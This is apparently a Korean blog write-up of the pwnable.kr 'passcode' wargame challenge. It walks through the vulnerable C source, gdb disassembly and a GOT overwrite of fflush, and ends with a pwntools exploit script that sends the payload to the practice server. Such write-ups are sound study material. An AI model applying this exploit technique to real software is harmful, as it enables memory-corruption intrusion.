[Pwnable.kr] passcode 풀이 (10pt)
Wargame/pwnable.kr

[Pwnable.kr] passcode 풀이 (10pt)

 

풀이

다음은 passcode.c 코드이다.

#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

main 함수에서는 welcome, login 함수를 호출하고 프로그램을 종료한다.

welcome 함수에서는, 배열 100칸만큼을 입력받는다.

login 함수에서는, passcode1과 passcode2를 입력받는데 자세히 보면, scanf에 &가 없다.

 

scanf에 &가 없으면 주소 값을 저장한다는 소린데.. 이 부분을 이용하면 되지 않을까?

gdb로 열어봤다.

 

welcome 함수의 어셈블리 부분이다.

Dump of assembler code for function welcome:
   0x08048609 <+0>:     push   ebp
   0x0804860a <+1>:     mov    ebp,esp
   0x0804860c <+3>:     sub    esp,0x88
   0x08048612 <+9>:     mov    eax,gs:0x14
   0x08048618 <+15>:    mov    DWORD PTR [ebp-0xc],eax
   0x0804861b <+18>:    xor    eax,eax
   0x0804861d <+20>:    mov    eax,0x80487cb
   0x08048622 <+25>:    mov    DWORD PTR [esp],eax
   0x08048625 <+28>:    call   0x8048420 <printf@plt>
   0x0804862a <+33>:    mov    eax,0x80487dd
   0x0804862f <+38>:    lea    edx,[ebp-0x70]
   0x08048632 <+41>:    mov    DWORD PTR [esp+0x4],edx
   0x08048636 <+45>:    mov    DWORD PTR [esp],eax
   0x08048639 <+48>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:    mov    eax,0x80487e3
   0x08048643 <+58>:    lea    edx,[ebp-0x70]
   0x08048646 <+61>:    mov    DWORD PTR [esp+0x4],edx
   0x0804864a <+65>:    mov    DWORD PTR [esp],eax
   0x0804864d <+68>:    call   0x8048420 <printf@plt>
   0x08048652 <+73>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048655 <+76>:    xor    eax,DWORD PTR gs:0x14
   0x0804865c <+83>:    je     0x8048663 <welcome+90>
   0x0804865e <+85>:    call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:    leave
   0x08048664 <+91>:    ret
End of assembler dump.

스택에 0x88크기 만큼을 할당받고, ebp-0x70 위치서부터 100칸 입력을 받게된다.

 

login 함수의 어셈블리 부분이다.

Dump of assembler code for function login:
   0x08048564 <+0>:     push   ebp
   0x08048565 <+1>:     mov    ebp,esp
   0x08048567 <+3>:     sub    esp,0x28
   0x0804856a <+6>:     mov    eax,0x8048770
   0x0804856f <+11>:    mov    DWORD PTR [esp],eax
   0x08048572 <+14>:    call   0x8048420 <printf@plt>
   0x08048577 <+19>:    mov    eax,0x8048783
   0x0804857c <+24>:    mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:    mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:    mov    DWORD PTR [esp],eax
   0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:    mov    eax,ds:0x804a02c
   0x08048590 <+44>:    mov    DWORD PTR [esp],eax
   0x08048593 <+47>:    call   0x8048430 <fflush@plt>
   0x08048598 <+52>:    mov    eax,0x8048786
   0x0804859d <+57>:    mov    DWORD PTR [esp],eax
   0x080485a0 <+60>:    call   0x8048420 <printf@plt>
   0x080485a5 <+65>:    mov    eax,0x8048783
   0x080485aa <+70>:    mov    edx,DWORD PTR [ebp-0xc]
   0x080485ad <+73>:    mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>:    mov    DWORD PTR [esp],eax
   0x080485b4 <+80>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:    mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>:    call   0x8048450 <puts@plt>
   0x080485c5 <+97>:    cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>:   jne    0x80485f1 <login+141>
   0x080485ce <+106>:   cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>:   jne    0x80485f1 <login+141>
   0x080485d7 <+115>:   mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>:   call   0x8048450 <puts@plt>
   0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:   call   0x8048460 <system@plt>
   0x080485ef <+139>:   leave
   0x080485f0 <+140>:   ret
   0x080485f1 <+141>:   mov    DWORD PTR [esp],0x80487bd
   0x080485f8 <+148>:   call   0x8048450 <puts@plt>
   0x080485fd <+153>:   mov    DWORD PTR [esp],0x0
   0x08048604 <+160>:   call   0x8048480 <exit@plt>
End of assembler dump.

passcode1는 ebp-0x10에서 4byte 만큼, passcode2는 ebp-0xc에서 4byte 만큼을 할당받는다.

그런데 아까 name은 100칸을 할당 받는다고 했는데..? 

name의 마지막 4byte가 passcode1의 공간과 겹친다.

passcode1을 덮고, scanf 함수에서 &가 없다는 점을 이용하면 원하는 값을 넣고 실행할 수 있지 않을까?


0x08048593 <+47>:    call   0x8048430 <fflush@plt>

 

login 함수에서 fflush 함수를 호출한다는 점을 이용해, GOT overwrite를 적용할 수 있을 듯하다.

먼저 fflush@got 주소를 알아보자.

(gdb) disas 0x8048430
Dump of assembler code for function fflush@plt:
   0x08048430 <+0>:     jmp    DWORD PTR ds:0x804a004
   0x08048436 <+6>:     push   0x8
   0x0804843b <+11>:    jmp    0x8048410
End of assembler dump.

fflush@got 주소는 0x804a004이다. 이 부분을 우리가 system("/bin/cat flag")의 주소로 덮는다면?

   0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:   call   0x8048460 <system@plt>

이제 페이로드를 작성해보자. 참고로 passcode는 정수형 입력만 받음을 주의하자.

  1 from pwn import *
  2
  3 s = ssh("passcode","pwnable.kr", port=2222, password="guest")
  4 p = s.run('./passcode')
  5
  6 payload = 'A'*96 + '\x04\xa0\x04\x08' + '134514147'
  7 p.recvuntil('enter you name : ')
  8 p.sendline(payload)
  9
 10 p.interactive()

'Wargame > pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] input2 풀이 (4pt)  (0) 2020.07.20
[Pwnable.kr] random 풀이 (1pt)  (0) 2020.07.19
[Pwnable.kr] flag 풀이 (7pt)  (0) 2020.07.19
[Pwnable.kr] bof 풀이 (5pt)  (0) 2020.07.19
[Pwnable.kr] collision 풀이 (3pt)  (0) 2020.07.18